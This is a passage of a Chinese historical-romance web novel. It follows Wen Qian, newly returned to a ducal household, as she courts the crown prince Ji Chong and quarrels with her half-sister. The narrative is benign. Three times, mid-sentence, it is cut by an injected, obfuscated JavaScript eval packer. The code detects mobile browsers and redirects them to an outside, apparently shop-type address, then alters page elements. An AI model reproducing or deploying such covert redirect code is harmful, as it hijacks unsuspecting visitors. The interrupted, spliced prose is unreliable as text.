一向疼爱她的父亲却狠心抽离,甚至推了她一把,任由两个婆子把她拖走。 冰雪落在闻浅的身上,是如此寒冷,简直就像要贯穿了她。 …… 闻浅就这样在塞外“走失”了,实则是在盈春楼拘禁了整整七年。 回想起那个雪夜,闻浅心里也下起了雪。 然后又不可控地想起玉行来。 其实首先想到的是他给她的甜,再然后才是那一句临别时他说的:“忘了我吧。” * 闻浅烦闷得紧,一个人独自也不知坐了多久。 早晨还晴蓝一片的天上云团翻涌,绵阴阴地开始洒落润润小雨,细细如丝线般飘下来。 翠绿裙摆沾上泥土的污渍与纯白的落花,闻浅没有立刻起身,仍蹲坐在地上,任由飘落的雨将她淋个湿透。 泪脸颊上滚下的也不知是雨水还是泪水。 闻浅默默哭了很久,哭得肩膀一抖一抖的,忽然察觉到一片阴影覆过来,头顶的雨也停了。 “小浅,你一个人在这哭什么?”闻峥清澈的声音响起,带着关切。 闻峥穿了身天缥色右衽领袍,他和她一样,有双温柔的桃花眼,容色同样出众,却更多了几分玩世不恭与随性。 闻浅抬起头,看见站在闻峥身侧满脸愁容的映杏。 想来是映杏把哥哥叫来的。 “我、我没事,只是心里有些难过。”闻浅用手指揩了揩泪水,这才望向闻峥身后。 纪翀面无表情地负手而立,侍从夜寒替他撑着伞。 “太子殿下安。”闻浅起身理理衣裙,行了个礼。 太子视线落在她系在腰间的玉佩上。随后从身后抽出一只手,朝她抬了抬,示意她无需多礼。 “小浅刚回府,可是还有什么不适应?还是有哪些丫鬟奴才欺负你?”闻峥问。 从塞外回来已经快有一月了,再不适应也该适应了。定国公府上下都知闻浅是老夫人掌心宝,谁又敢欺负到她头上去。 “公子,方才大小姐去找二小姐,没想到二小姐太过分,居然连门都不开!”映杏愤愤道,替闻浅把话说了。 闻峥道:“竟有此事,潇儿实在胡闹。小浅,你不要一个人哭,哥哥为你做主。走,我们去芳菲院。” “不是,我有些……想念一个人。”闻浅轻轻摇了摇头,随后看向纪翀,灼灼视线几乎称得上依恋。 闻峥顺着她的视线,也看向纪翀。 饶是被闻浅用如此热烈的视线注视着,纪翀仍旧无动于衷,眸色淡淡:“嗯?” 闻峥讶异失笑,难道自己妹妹在这落寞伤心全然是因为少女怀思? 虽没有听纪翀亲自讲起,但闻峥也从下人嘴里知道前些日子在迎春宴上发生的事。 方才在书房他还和纪翀打趣,说他生了一张玉容,把自己妹妹迷得鬼迷心窍。 而纪翀只是笑笑,似乎只把闻浅的话当作儿戏。 雨声打在伞上的声音,滴滴答答。 闻浅收回目光,垂下眼眸看着地上溅起的水花:“我有些想娘亲了。” 她没有全说错。她确实是在想一个人,只不过想的是玉行。她喜欢玉行的秘密,她已经决意深藏在心底,谁都不告诉。有些痕迹,只能让时间淡化抹去。 听闻浅这么说,闻峥神色一怔,说话的语气中也沾了更多的柔软与怜爱:“原是如此。尽管母亲已经不在了,但她若是知道你这样郁郁寡欢也会不好受的。” 周氏体弱多病,生下闻浅后身体状况更是大不如前,常年缠绵病榻。后来闻浅在塞外走失的噩耗传回京中,周氏更是痛哭一场,随后没过几个月就撒手人寰。可惜的是,周氏走的时候,闻浅人不知在何处,更没能为周氏尽孝。 毕竟是最亲近的母亲,有再无限的眷恋都是正常不过。 闻峥:“母亲本家在江南相州,等日后兄长得空,可以带你回相州看看。” 闻浅垂眸咬着唇,听闻峥宽慰自己,袖子里的手摩挲着一块金蝉佩。她想要把这个玉佩亲手送给纪翀,作为回礼。就是不知道纪翀会不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13472532|141895||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会接受呢?万一他和闻潇一样,丝毫不留情面地拒绝自己该怎么办? 而纪翀始终一言不发,冷淡十足。 等闻浅情绪恢复得差不多了,闻峥问道:“我书房里有一盘枣泥酥,小浅你要过来坐坐吗?” 闻浅没有立刻回答,而是小心翼翼地看向纪翀,似乎在期待他能够留下来。 方才纪翀和闻峥一起从书房出来,不知他现在是否要离开。 不过纪翀似乎没有多少耐心看他们在这里上演兄妹情深,他冷冷道:“那孤便不打扰闻小姐兄妹二人叙旧了,先告辞。” 闻峥挑眉。方才还和自己说要对弈到傍晚一决高下的人,怎么现在说走就走? 闻浅能感受到,太子似乎在刻意回避着自己。她紧紧按着金蝉佩,心中一片踌躇忐忑,冰凉的玉佩被她的掌心捂暖。 “殿下。”闻浅上前一步,有雨丝飘在她的脸上。 闻峥立在她的身后,伞撑了过去。 纪翀停住脚步,回头看向闻浅,薄唇轻启:“闻浅小姐,还有什么事么?” 闻浅十分不好意思地垂下头,把掌心伸过去摊开:“谢谢殿下帮我解围,这是回礼。” 不像其他金枝玉叶的小姐,闻浅的手不算细腻,甚至说得上是粗糙丑陋。上面有很多茧子,还有很多长年累月刻下的伤疤。掌心中,一块小巧精致的玉蝉静静躺着。 纪翀:“举手之劳,不必客气。” 太子没有立刻接过,闻浅便固执地伸着手,似乎执意要他收下。 当时在盈春楼,她想给玉行送香囊,却被玉行硬声拒绝;现在回了闻府,想给妹妹送个回礼,妹妹却连门都不开。 通常而言,送礼是期待能够通过礼物传递感情。当礼物被拒绝时,就会觉得自己的情感没有被接受,难免会产生失落沮丧的情绪。 但其实现在纪翀也拒绝的话,闻浅想自己应该不会再痛了。 只是她依然还抱有些许奢望,自虐般地想要证明些什么。 耳边只剩下雨声,闻浅伸在雨中的手沾了不少雨点。她有些挫败地折了手腕,慢慢、慢慢地想要收回手。 然而就在此刻,纪翀却亲手自闻浅手中接过玉蝉,笑道:“那孤便收下了,多谢。” 闻浅看向他,觉得他漆黑的眸中仿佛对自己闪过温柔的星点。只一瞬,微弱而又捉摸不定。 她也冲他笑了,脸上陷下去两个梨涡。 * 清风斋,闻峥书房。婢女小厮都在门外候侍。 闻浅坐在圈椅上,小口小口地吃着枣泥酥。外酥里软,枣泥的香甜很好地抚平了她心中的苦涩。 一旁桌案上是盘尚未决出胜负的棋局,闻浅不懂下棋,便也看不出黑白子谁占了上风。 闻浅不知道的是,方才纪翀就坐在自己这个位置上。 方才映杏来找闻峥的时候,闻峥正在和纪翀下棋。听到闻浅独自一人在难过,两个人便先撂下了棋局。 闻峥在房间里慢慢踱步,不知如何开口。半晌,在闻浅面前立定:“小浅,你真的喜欢上池容了吗?” “难道哥哥也觉得我是高攀吗?”将嘴里的枣泥糕咽下去,闻浅平静反问。 8. 道歉 听闻浅这么说,闻峥嘴角抽了抽:“高攀?小浅你大可不必妄自菲薄,你生得像你哥一样好看。何况我们闻家的女儿,配谁配不得?” 闻峥这话倒也是实话。 昔日高祖建国的时候,封了五位功臣为国公,而后不断推恩,三朝过去,如今只剩一家定国公凭战功显赫独大。 闻家世世代代都出才俊,先有好几位子弟通过科举入朝为官,前朝的时候又出了一位闻贵妃。尽管闻贵妃早逝,但圣人登基后也追封为了皇贵妃,与先帝合陵同葬。到国公爷的时候,更是凭借收服三州失地而牢牢掌握了金策军兵权,破先例袭了公爵。又慧眼识珠,扶植了本不是储君的当今圣上登基,有从龙之功。 国公爷膝下三个儿子更是不负众望,长房闻鸿观继承了国公爷的武学韬略、征战沙场,二房闻鸿远以钦点探花身份入朝为文官、官居从三品光禄寺卿,三房闻鸿锋虽然只领了个六品武官的职位,但晋升空间广阔。 定国公闻府真可谓是烈火烹油、如日中天、生生不息,说是如今京中势力最为强大的世家也不为过。 但也正如此,圣人忌惮定国公府权势久矣,打压还来不及,又怎么可能让闻家的女儿成为太子妃。何况他认识纪翀那么久,自然知道纪翀致力朝政,无心儿女情长。 只怕自己妹妹的一片情谊迟早付诸流水。 闻峥又开始走来走去,叹了口气:“你要不还是不要喜欢太子了吧?天涯何处无芳草,云京好男儿多的是,哥哥替你去挑几个俊俏又有为的相看相看。” “为什么?既然哥哥与太子殿下亲近,你能和我说说太子对我是什么意思吗?”闻浅问。 闻峥:“……不好说。” 闻浅:“我听说太子不近女色,就连京中第一美人秦小姐都被他拒绝过。我还听其他贵女说,我喜欢殿下是不自量力。” 闻峥想了想,觉得自己这位好友似乎有意避着闻浅:“但不自量力不至于,妹妹你要对自己有信心,我看应该是绰绰有余。” 那日小浅回府,纪翀也不去看她;今日听说小浅要来自己这边坐坐,纪翀更是直接告辞了。 为啥啊? 闻峥觉得自己亲妹简直是天下顶顶标致的人,没理由不被喜欢。 那日在迎春宴上放下豪言后,闻浅自然知道京中多了不少对自己的非议,她也有意让映杏去打听了不少关于纪翀的事。 闻浅:“他们都说,纪翀冷淡疏离,拒人千里,决计不会看上我。” 不过,那又怎样? 如果她真的喜欢他,那她大概会被他的冰冷伤到;但她对他所起的情愫,全都是源自他那张和玉行公子相似的面容。一颗心,只有在在意一个人的时候,才会为他受伤;不在意,自然就无所谓。 婚姻大事,要是不能和相爱的人在一起,也许有的人会退而求其次,为了所谓的合适而和不爱之人将就一生。 但闻浅觉得自己还是很固执的。 她会一直等下去。 “冷淡疏离?拒人千里?”听闻浅这么说,闻峥重复了一遍。 闻峥一时无话,没有为纪翀辩驳。 鸾燕国男女虽无大防,却到底有别,更何况是像纪翀这样的皇子。京中贵女一般接触不到太子本人,基本只能遥遥看上一眼,更别说和纪翀说上话了。 纪翀凭借他那张极具欺骗性的玉容,君子六艺样样精通,再加上出众的从政才华,在京中从来不缺爱慕者。不过她们都觉得纪翀冷若冰霜,无心情爱。更有轻浮者,给纪翀冠上了香闺梦郎的称呼,说他是郎艳独绝、举世无双,是高岭之上最难攀折的那枝花。 和纪翀认识十几年,闻峥知道纪翀不近女色是真,但倒也说不上冷若冰霜。 郎君的魅力,往往都源自小娘子们的想象力。 闻浅从腰间解下那日纪翀送她的玉佩,摸在手里:“可如果殿下真的那么冷漠,迎春宴那日又为何要替我解围?今日又为何要收下我的回礼?何况人的心又不是石头做的,再冰冷的人,也总会被捂暖的吧。” “……行,你说得对。哥哥支持你喜欢太子。”闻峥点点头,道。 罢了,妹妹若真想做太子妃,又有何不可?母亲走后,妹妹就是世界上和自己最亲近的人,自然要依着她。 闻峥转移话题:“你刚刚是从潇儿那边出来,但我听映杏说潇儿连门都没有给你开?” “嗯。”闻浅摸了摸头顶的金镶珍珠簪,道,“我回府的时候,潇儿给我送了这支簪子作为见面礼,我便想着送她一对耳坠作为回礼,只是不想今日她的好友来寻她玩。我去了也是尴尬,还不如不去的好。” “潇儿被宠坏了,真是无法无天,当着那么多人撂你面子。”闻峥看着闻浅的脸,见她丝毫没有生气愠怒的样子,“若是被祖母知道了,祖母定会责罚她。就算祖母不说他,我也要教训教训她。” “不必了,这等事说出来,怕徒惹了笑话。”闻浅已经吃完了两块枣泥酥,拿起手帕擦擦嘴道,“耳坠我改日再给她便是。” “吃了枣泥酥,喝点茶水解解腻。”闻峥亲手给她倒了杯茶水,“那你觉得祖母那边,还要我去派人告知吗?” 闻浅摇头:“本来我就吩咐映杏不要声张。妹妹不懂事,我不与她一般计较,告诉祖母不过是白白叫她伤心罢了。” “你能这样想很好。”闻峥很高兴,旋即又拧起眉头,“虽不是一个娘生的,但到底是一个父亲。潇儿年幼,小孩子心性,是该让着她点。” 说是年幼,但闻潇也不过比闻浅年幼一岁罢了。哪里算得上小孩子心性呢。还好闻浅心思善良、忍让大度,不同闻潇一般计较。 闻峥叹了口气,坐到位置上一只手撑着腮,思绪飘远,不再言语。 他知道老夫人这些年对闻潇的宠爱,不过是出于补偿心理。但闻潇另有他用,受些补偿也是应该的。 * 又过了一天,荣瑞堂。大房夫人、二房夫人和几位嫡出的小姐陪着老夫人一同用晚膳。 闻潇闭门不见闻浅的事,闻浅吩咐过不要声张,但老夫人还是知道了。 “潇儿,你那日为何不给你大姐姐开门啊?”老夫人问,“洛儿你也是,潇儿不懂事就算了,你既同在院中,怎么也这般不懂事?” 闻洛无辜受责,有些委屈。那日她想给闻浅开门的,但闻潇不让啊,她有什么办法? 她低头捏着筷子戳碗里的米饭,一声不吭。 二房夫人罗妙言为讨薛清梨的欢心,忙拧了把闻洛的耳朵,主动把罪责揽到自己女儿身上。 但老夫人执意质问闻潇:“嗯?潇儿怎么现在不说话了?” “祖母,潇儿知道了,潇儿会改的。”闻潇这才不情不愿地放下筷子,慢吞吞 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13472533|141895||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地说。 肯定是闻浅去跟祖母说的。闻潇杏眼圆睁,恶狠狠地瞪向闻浅。好像在质问她,你居然敢向祖母告状? 然而闻浅根本就没在看她,慢条斯理地给自己夹了一筷清蒸鸭。鸭肉紧实鲜嫩,每一口都带着股汤汁的鲜香,又滑嫩又弹牙,好吃好吃。闻浅不得不再次感叹,定国公府厨子的手艺果然比盈春楼好太多了。 老夫人:“你给你大姐姐道个歉,保证以后都不会无礼对待她了。” 老夫人对闻潇不咸不淡的态度很不满意,她早就听说闻潇在迎春宴上执意要和闻浅比试诗作的事,本想忍忍算了,没想到过了几日闻潇竟变本加厉,丝毫不知悔改! “潇儿去,走过去跟浅浅道歉。”坐在闻潇身侧的薛清梨无奈地拍拍闻潇。 闻潇捏着手帕擦擦嘴,愤愤起身,直直走到闻浅身边:“姐姐,是潇儿不懂事,你就原谅潇儿吧。” 闻潇一靠过来,闻浅就闻到股若有似无的桂花香气,想来是闻潇往自己身上喷的香水。 她便仰起脸,望向闻潇,也冲她笑出了两个梨涡,笑容真挚:“没关系的。” 尽管时逾七年,闻浅对先前在府里的事情已经淡忘得差不多,但她始终记得闻潇小时候的样子。那时候闻潇比自己矮整整一个头,成天跟在自己身后叫自己姐姐姐姐。她始终把闻潇视作天真的幼妹,又怎么会真的生她的气。 闻浅年幼的时候其实并不文静,相反还很调皮,活泼好动到让老夫人都有些头疼。只是在塞外经历了七年,性格发生了翻天覆地的变化。 “……” 她的眼眸似是天生含着脉脉柔情,被闻浅这样笑看着,闻潇不自觉地移开了视线。 闻潇看向映杏,很快想到了新的法子磋磨出气。 闻潇:“姐姐,你不生气就好。潇儿听说你前几日来看我,是想要给我送份礼物。” 闻浅:“是的,我回来那天你送我的簪子我很喜欢,便想着给你一份回礼。” 听闻浅这么说,闻潇一怔,这才注意到闻浅头上带着的簪子正是自己所赠的金镶珍珠簪。 看来长姐有珍视自己送的礼物,闻潇心里觉得有股古怪的情绪涌起,她抿了抿嘴。 但很快,这股古怪的情绪又被不屑取代。没见过世面就是没见过世面,一支自己看不上的、早就落了时的簪子,竟然还能宝贝成这样! 闻潇朝闻浅伸出手:“既然如此,那礼物呢?” 闻浅:“收在我的卧房里了,妹妹想要的话,可以用过晚膳来落梅院找我……” 闻潇不耐烦地打断:“我现在就要。” 老夫人重重放下了喝汤的汤匙,以示警告。在场本来说说笑笑的诸位顿时噤了声,吃饭的吃饭,吃菜的吃菜,都尽量不往闻潇和闻浅这边看。 薛清梨恨铁不成钢地低低喊了声闻潇:“潇儿,回来。” 偏闻潇似乎没有察觉老夫人的不悦,只是场面太过安静,叫她内心一慌。曾经闻浅还没回来的时候,她在家里可是说一不二的掌上明珠,什么都是哄着自己为先。然而现在,居然母亲都开始对自己说重话。 闻潇声音中带了一丝不自觉的委屈,对着闻浅恨恨道:“姐姐,我现在就要。你让她现在跑回落梅院给我取过来。” 闻潇指向映杏。 映杏身子一抖,看向闻浅,等待闻浅发落。 9. 学不会 现在屋外暴雨如注不说,落梅院离荣瑞堂甚远,一来一回就算是跑也要跑上一盏茶的功夫。 闻浅性子一向浅淡、不争不抢,看上去很好欺负,让闻潇有了长姐可以任意拿捏的错觉。 也许不是错觉。毕竟现在当家作主的薛清梨不是闻浅的亲娘,而是闻潇的亲娘。闻鸿观又远在塞外没回来。 “那奴婢现在去将耳坠取来给二小姐。”映杏咬咬牙,躬身行礼应了下来。 没想到闻浅伸手,拉住映杏,开口道:“别去。” “姐姐,你这是什么意思,是想出尔反尔吗?” 闻浅叹了口气,摇摇头,直截了当开口道:“潇儿,我知道你想借此为难映杏是不是?现在外面下这么大的雨,映杏要怎么替你拿呢?丫鬟奴婢虽是服侍我们的佣人,却也首先是人。己所不欲,勿施于人。” 先前在盈春楼的时候,闻浅没少被为难过。这一双手上不少伤疤,都是冬天的时候用冰水浣衣洗出来的。 这一番话,闻浅说的很认真,也很真诚,让映杏心里一阵感动,也赢得了在场不少人的好感。 “浅浅说得对,你若是存心想要,也不必急于一时。”老夫人赞许道。 “假惺惺。”闻潇被戳中心事,嘟囔一句,讪讪地回了位置。 薛清梨笑着转移话题,问闻浅道:“浅浅,不知你是否有意入太学学习一阵时日?” 闻浅在塞外荒废了七年,什么针织女工、琴棋书画,恐怕早就忘得干净。虽说闻浅大可养尊处优,不必学这学那,但毕竟已经是及笄的年纪,马上也该要相看人家了。 闻浅犹疑着,没有立刻答应下来。 定国公府里有自己的私塾,但为了得到更好的资源,几个嫡子嫡女还是被送进了太学。 老夫人:“浅浅,你就去太学待着吧。太子殿下偶尔也会出现在太学。” 闻潇坐在位置上,小声地“哼”了一声,她才不信太子真的会看上闻浅。 听老夫人这么说,闻浅才神思一动,对薛清梨道:“只是我已经十七,还能进太学么?” “那有何难?”薛清梨笑道,“潇儿比你年幼一岁,不也在太学一直学着么?二房家的洛姐儿和屿哥儿也在太学,你们一起去也热闹。这样吧,过两日我就派人把你安排进去。” * 闻浅正式入太学读书已经是四月十九。 云京天气一天天回暖,闻浅也早已解下厚重冬衣,换上轻薄春衫。硬着头皮听夫子讲了一个时辰的课,终于熬到了散学。 虽说是去学习礼乐诗书,但其实也是借着读书的由头叫闻浅认识些皇亲贵胄。薛清梨有意让闻浅结交些贵族男子,毕竟闻浅今年已经十七,也到了出阁的年纪。只有让闻浅先嫁出去,才好安排潇儿的婚事,不然难免落了偏疼自己亲女儿的口舌。 是以也不管闻浅到底有没有基础,跟不跟得上进度,只把闻浅塞进去听学便不管不顾了。偏偏授业的夫子也没有照拂闻浅的意思,只顾着自己的进度飞快地往下讲。 闻浅看着自己写满圈注的书册,重重呼出一口气,侧过头,看见远处青墩池里长了一池的荷叶。 云京荷叶这么早就这么盛了?她不由得想起在盈春楼的时候。陇烨是塞外难得的宝地,不像旁处干燥多风沙,夏天的时候,盈春楼的庭院里也会栽不少荷叶。那时候正午天气炎热,玉行便不再练剑,而是坐在庭院里,捧着一卷书细读…… 怎么又想起玉行了? 闻浅蹙起眉,明明已经在刻意忘记,却还是会每天想他一遍。 学堂里的人都已经离开得差不多了,闻潇走到闻浅桌案前,拍了拍她的桌子。 “姐姐,你还走不走了?” 如果不是母亲薛清梨叮嘱她要照顾好姐姐,和姐姐一起上学回府,闻潇才不乐意等她。 闻潇回头看了眼候在门口的邹沁和秦泽兰,示意她们稍等自己一下。 不像闻浅,在学堂里没什么朋友,闻潇和很多人的关系都不错。今天就和两位贵女约好了,要一同去西市逛逛。 “好。”闻浅点头,开始收拾自己的读书用品。 “我看看你书本上密密麻麻写得都是些什么?”闻潇见摊在闻浅面前的书册上写满了字迹,误以为她在乱涂乱画,暗自庆幸找到告状的把柄,便不由分说地从闻浅手里夺过书册来。 闻潇上课虽说不上全神贯注,但也算得上认真,书上笔记也只不过潦草记了几笔。 皱着眉头浏览下去,闻潇毫不客气道:“……你是傻子么?就连‘遗’这个字的意思都要记下来?夫子说什么你全都抄下来做什么?” 闻浅并不在意闻潇的无礼,解释道:“我想先记下来回府再温习温习。” “祖母不是还夸你冰雪聪明吗?”闻潇嗤笑着把书册扔给闻浅,“真是愚笨。” “我学不会。”闻浅将书册装回锦带,垂下眼眸,道。 这四个字,闻浅说得极为柔弱,配合上她娇花映水的面容,饶是有意刻薄如闻潇也不好意思再多说什么。 闻潇冷哼一声,回过头却看见兄长闻峥和太子殿下走了过来。 方才专注和闻浅说话,竟然也没留神邹沁和秦泽兰行礼问安的声音。难怪闻浅突然装得柔弱,原来是想故意说给兄长和太子听! “太子殿下安,兄长安。”闻浅和闻潇两个人同时行礼。 闻潇脸色一变,却也不得不强装镇定。 “方才从大理寺处理完卷宗,想到浅浅今日刚入太学,便顺路过来看看。”闻峥视线掠过闻潇,挑眉问闻浅笑道,“学不会?” “……嗯,是我愚笨。”闻浅小声又重复一遍,像是故意对着纪翀道,“我学不会,有好几处都不太懂。” 闻潇咬牙,道:“姐姐若有不懂的,平时可以来问我。潇儿定尽心竭力,替姐姐解惑。” “《尚书正义》?我记得池容对此倒是颇有见解。”闻峥道,“是不是?” 纪翀极其淡漠地“嗯”了一声:“算不上颇有见解,只是刚好前些时日像太傅请教了一番。” “那走吧小浅,咱们去太子东宫坐会,让太子教教你。”闻峥二话不说,把闻浅从位置上拉出来,又对闻潇说,“潇儿你先回府吧,一会小浅和我一起。” * 西市逛街的时候,闻潇一直心不在焉。 看出好友的心事,邹沁道:“今天夫子讲的东西不算难吧?闻浅装出副愚笨的样子给谁看?平白惹人笑话罢了。” “平日我一直待在太学,也不见兄长来看看我,今日闻浅在他倒是来了。”闻潇瘪了瘪嘴,“不过想来也是了,毕竟不是同一个娘胎的,他不待见我也正常。” 邹沁哄道:“哪有,潇儿最是活泼可爱,谁看了都会喜欢的。你祖母和你兄长只是看在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13472534|141895||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她走失这么多年的份上,格外对她好些补偿她罢了。” 闻潇性子娇纵,但是对朋友却极为仗义大方,所以有不少贵女喜欢和她玩。之前邹沁及笄的时候,闻潇更是大手一挥,送上了价值百两黄金的贺礼。 闻潇点点头:“但为什么她偏偏有那好运气,学不会的东西竟然能让太子亲自教。我承认她长得确实小有姿色,难道太子真的看上她了?” “应该不会吧。泽兰,我记得你姐姐先前不会射箭,想要请教殿下,却被殿下以一句‘男女有别’打发了,让她去请教女官。” 秦泽兰的姐姐正是京中第一贵女,秦楚黛。 秦泽兰:“太子本就冷漠,被拒绝倒也正常。今天之所以同意帮助闻浅大概也是看在你哥哥的份上吧。” 闻潇幽幽叹了口气:“那迎春宴的时候,太子为什么又要替她解围呢?他们之前可是素不相识啊。” 秦泽兰和邹沁皆是一噎,想不到什么解释的理由。太子一表人才,光风霁月,对于她们而言,是值得仰慕和敬仰的表率,却也说不上喜欢,所以也并不是很在意太子对闻浅的优待。 闻潇捏紧了帕子,这么些年,她已经享受够了家里众星捧月般的独宠,自然受不了闻浅来瓜分宠爱。她也觉得自己很好,琴棋书画样样精通,模样也算上乘,以后要找夫婿,一定要找天底下最好的男子——毕竟只有这样,好像才能证明,自己值得最好的。 秦泽兰忽然笑了一下。 闻潇:“你笑什么?” “感情这种东西,总是瞬息万变的。”秦泽兰给闻潇出主意,“你可以转移闻浅的注意啊。” 邹沁和闻潇都觉得奇怪:“怎么转移?” 秦泽兰:“你不是除了闻峥这个哥哥,在宫里还有一个哥哥吗?你去撮合你那个哥哥和闻浅,你和太子不就有戏了?” 闻潇的哥哥,便是怜妃的儿子,四皇子纪明。 为人实在蠢笨,体形又颇为壮硕,闻潇看到他就想绕着走,总觉得他像头憨笨戆直的牛。 闻潇恍然大悟:“你说的有道理。以后我就拉着姐姐玩,隔三岔五带她去怜妃娘娘那坐坐。想来娘娘也是极为欢迎的。” * 另一边,闻峥走到东宫门口,就借口临时有事带着随从沉舟先走了。 留下闻浅跟在纪翀身后,两只手抱着沉重的锦袋。 纪翀身姿清隽,简单的装束更显得为人冷清,腰间没有携带任何配饰,自然也没有佩戴她所赠的蝉佩。 闻浅看着他的背影,想起曾经自己也这样和玉行一起在盈春楼的廊道里走过。 只不过那时候的玉行,并不像纪翀一样冰冷。他是怒气冲冲的。 是为了自己而生气。 楼里管事的李大娘,非污蔑自己偷拿了她的镯子。争执中,李大娘砸碎了闻浅戴在腕上,从定国公府里带出来的玉镯,还让她罚跪。 闻浅解释了,也否认了,但被一群小厮武力逼迫的时候,她才知道自己是百口莫辩的。 屈打成招。 说是她偷的,就是她偷的。 只有玉行相信她,他说:“不是你做的事,那你为什么要认错?” 他把她从地上拉起来,带着她去找李大娘算账。 后来才发现,镯子原来掉在了李大娘房间的床底下。 可闻浅碎了的玉镯却再也找不回来。 10. 纸梅花 两个人一路无话,绕过长廊院庑。 太子东宫处处彰显着皇家的威仪,但纪翀不慕奢靡,内部布置实则颇为低调。几位角落处洒扫的女婢、粗役见到太子纷纷行礼,却没有称呼跟在太子身后的闻浅。 闻浅在塞外走失七年,回府后又不常入宫走动,很显然,他们不认识她。 倒是侍在书房门口的夜寒,看见闻浅时先是一愣,随后恭敬地冲她问安。 夜寒面庞冷峻坚毅,身着褐色劲装,腰间别了一把软刀。 闻浅也朝他回了个微笑,说了进入东宫的第一句话:“你还记得我啊。” 夜寒自然记得这位在迎春宴上大胆开口的漂亮小姐,他见闻浅吃力地抱着锦袋,便思忖着是否要帮助。但很快纪翀冰凉的眼神飘了过来,让夜寒不得不挪开视线,躬身打开书房的门。 “你在书房外候着,不用进来。”纪翀道。 书房明亮干净,昏黄的斜阳照进来,房间里一尘不染。四壁摆放着高大的红木书架,上面摆放着陈列整齐的书籍,房间正中是一张大理石桌案。 纪翀点了盏灯,随后走到书架边,从中抽出了一本泛旧的《礼记》。 “我可以把书袋放在你书房的地上吗?”问这句话的时候,闻浅小心翼翼开口。她回头看了一眼被合上的房门,二人独处一室,更有些局促紧张。 闻浅对纪翀的品行没有丝毫的怀疑,相反十分信任,却难免惴惴不安,仿若自己的踏入会玷污他干净的书房。 纪翀:“自然可以。” 得到了纪翀的应允,闻浅才如释重负般把沉重的书袋放了下来。她弯腰从书袋里拿出《尚书正义》,几缕长发自肩头垂下。然后两手捧着书,慢慢走到纪翀身旁。 她走过来的时候,纪翀一直看着她长长的睫毛。她似乎始终垂着眼眸,像是不敢直视自己。 纪翀温润的声音略有些磁沉:“你在怕孤?” 闻浅这才抬起眼,看向他。他面如冠玉,又有着一双浅淡的眸子,似是酿着缓缓春意。眼角一颗泪痣更添了精致。除却身外太子而有的矜贵气度,实在是说不上让人害怕。 闻浅摇摇头:“没有。” 怎么会怕呢?害怕,是因为在意失去的代价。而闻浅不在意,她只是又走神想起了玉行。 难得有机会接近太子,确实不该放任自己胡思乱想,闻浅打起精神。 纪翀随手把堆积在桌案上的卷宗推到一旁,把从书柜里抽出的《论语》放上去。 他倚靠在太师椅上,姿态淡然随意,白袍下的长腿翘起交叠,修白如玉的手指搭在扶手边缘轻点着,然后又抵在薄唇下:“那就好,孤想孤应该没有哪里会让你害怕吧。” 闻浅小步趋到他身边。 一下子凑得这么近,闻浅闻到纪翀身上干净清冽的松墨香,于是她不动神色地后退一步,伸出手把书恭恭敬敬地递给她。 看到闻浅如此动作,纪翀眉峰微敛,视线落到笔记密密麻麻的书上:“你有什么不懂的,现在直接问孤便好。” 闻浅想了想:“哪里都不会。” 她头微微歪着,打量着纪翀。细看的话,纪翀和玉行相似之处确乎不少。 尤其是两人身上的,给闻浅带来的那一种,相似的感觉吧。 闻浅眯起眼,眼前昏暗模糊起来,她开始欺骗自己。 自欺欺人。 他是玉行,她和玉行在一起呢。 于是,心里痒起酥酥麻麻的软意,好像在放烟花。闻浅鼓足勇气,凑纪翀更进一步。她伸出手,指在书页上,有意地触碰到纪翀冰凉的手指。 她的手实在粗糙得难看,却是温热的,暖意迅速从她的指节传递到纪翀的指节上。 纪翀纹丝不动,只侧过头反问她:“哪里都不会?” 闻浅大着胆子,俯下身,凑在纪翀身边,小小声:“其实没什么不会的,臣女都已经想通了。” 声音小到几乎听不见,这叫纪翀不得不费力去听她到底在说什么。 他们挨得很近,她的心思又那么昭然若揭。纪翀已年过弱冠,又怎么会不懂。 “那你还有别的要问吗?”纪翀唇弧微弯。 闻浅看着他,小指抓着裙摆,微微用力:“臣女、臣女一时想不起来。” “无妨。”见闻浅如此局促,纪翀主动道,“你以后有不会的,都可以来东宫寻我。” 他把书还给闻浅,随后翻开了那本纸页泛旧发黄的论语。 闻浅收回书,小心翼翼开口:“那臣女告辞了。” ……就这样?贴近他说几句话就要走了?纪翀心底生出失落的情绪。 “不行。” 纪翀两个字说得又快又干脆,让闻浅十分惊讶,生生顿住了后撤的脚步。 “殿下,还有什么事吗?” 纪翀正正身子,从《论语》里抽出了一张纸叠的梅花。小心翼翼地放在桌案上,然后侧头看向闻浅。 闻浅看着纸梅花,瞳孔微微睁大,熟悉的感觉击中了她。 